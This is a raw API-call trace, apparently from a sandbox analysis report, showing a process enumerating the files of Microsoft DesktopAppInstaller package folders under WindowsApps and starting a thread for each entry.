	[0076.793] wcscat (in: _Dest=0x4731668, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0076.793] wcscat (in: _Dest=0x4731668, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\*"
	[0076.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1540
	[0076.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c531351, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad378
	[0078.791] wcscmp (_String1=".", _String2=".") returned 0
	[0078.791] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c531351, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.791] wcscmp (_String1="..", _String2=".") returned 1
	[0078.791] wcscmp (_String1="..", _String2="..") returned 0
	[0078.791] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19db, dwReserved0=0x0, dwReserved1=0x0, cFileName="256x256.png", cAlternateFileName="")) returned 1
	[0078.791] wcscmp (_String1="256x256.png", _String2=".") returned 1
	[0078.791] wcscmp (_String1="256x256.png", _String2="..") returned 1
	[0078.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d898
	[0078.791] wcscpy (in: _Dest=0x477d898, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.791] wcscat (in: _Dest=0x477d898, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.791] wcscat (in: _Dest=0x477d898, _Source="256x256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png"
	[0078.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0078.892] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x55db, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.892] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.892] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e030
	[0078.893] wcscpy (in: _Dest=0x477e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.893] wcscat (in: _Dest=0x477e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.893] wcscat (in: _Dest=0x477e030, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe5c
	[0078.893] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c57d803, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cdf7b05, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cdf7b05, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxClickHandler.exe", cAlternateFileName="")) returned 1
	[0078.893] wcscmp (_String1="AppxClickHandler.exe", _String2=".") returned 1
	[0078.893] wcscmp (_String1="AppxClickHandler.exe", _String2="..") returned 1
	[0078.893] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cdf7b05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cdf7b05, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cdf7b05, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxClickHandler.winmd", cAlternateFileName="")) returned 1
	[0078.893] wcscmp (_String1="AppxClickHandler.winmd", _String2=".") returned 1
	[0078.893] wcscmp (_String1="AppxClickHandler.winmd", _String2="..") returned 1
	[0078.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec158
	[0078.893] wcscpy (in: _Dest=0x47ec158, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.894] wcscat (in: _Dest=0x47ec158, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.894] wcscat (in: _Dest=0x47ec158, _Source="AppxClickHandler.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd"
	[0078.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60
	[0078.894] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c531351, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c531351, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c531351, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0078.894] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0078.894] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0078.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477f0d0
	[0078.894] wcscpy (in: _Dest=0x477f0d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.894] wcscat (in: _Dest=0x477f0d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.894] wcscat (in: _Dest=0x477f0d0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0078.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64
	[0078.895] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab228e06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.895] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.895] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477dcd0
	[0078.895] wcscpy (in: _Dest=0x477dcd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.895] wcscat (in: _Dest=0x477dcd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.895] wcscat (in: _Dest=0x477dcd0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0078.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477dcd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68
	[0078.896] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.896] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.896] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f1b0
	[0078.896] wcscpy (in: _Dest=0x477f1b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.896] wcscat (in: _Dest=0x477f1b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.896] wcscat (in: _Dest=0x477f1b0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe6c
	[0078.897] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdf7b05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab2732ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1b15f4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0078.897] wcscmp (_String1="Assets", _String2=".") returned 1
	[0078.897] wcscmp (_String1="Assets", _String2="..") returned 1
	[0078.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e8a70
	[0078.897] wcscpy (in: _Dest=0x47e8a70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.897] wcscat (in: _Dest=0x47e8a70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.897] wcscat (in: _Dest=0x47e8a70, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e8a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe70
	[0078.897] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfe80d855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe80d855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.898] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.898] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4765610
	[0078.898] wcscpy (in: _Dest=0x4765610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.898] wcscat (in: _Dest=0x4765610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.898] wcscat (in: _Dest=0x4765610, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4765610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74
	[0078.898] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1d7849, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d1d7849, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0078.898] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0078.898] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0078.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477da48
	[0078.899] wcscpy (in: _Dest=0x477da48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
	[0078.899] wcscat (in: _Dest=0x477da48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\"
	[0078.899] wcscat (in: _Dest=0x477da48, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0078.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477da48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe78
	[0078.899] FindNextFileW (in: hFindFile=0x2dad378, lpFindFileData=0x2dc1540 | out: lpFindFileData=0x2dc1540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1d7849, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d1d7849, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d1d7849, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0078.899] FindClose (in: hFindFile=0x2dad378 | out: hFindFile=0x2dad378) returned 1
	[0078.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc1540) returned 1
	[0078.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0078.900] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782e48) returned 1

Thread:
	id = 269
	os_tid = 0x1360

	[0076.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x2d7e958
	[0076.794] wcscpy (in: _Dest=0x2d7e958, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe"
	[0076.794] wcscat (in: _Dest=0x2d7e958, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.794] wcscat (in: _Dest=0x2d7e958, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.794] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbeec0
	[0076.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad1f8
	[0078.789] wcscmp (_String1=".", _String2=".") returned 0
	[0078.789] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.789] wcscmp (_String1="..", _String2=".") returned 1
	[0078.789] wcscmp (_String1="..", _String2="..") returned 0
	[0078.789] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c50b0ee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c50b0ee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c50b0ee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.789] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.789] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768458
	[0078.789] wcscpy (in: _Dest=0x4768458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe"
	[0078.789] wcscat (in: _Dest=0x4768458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\"
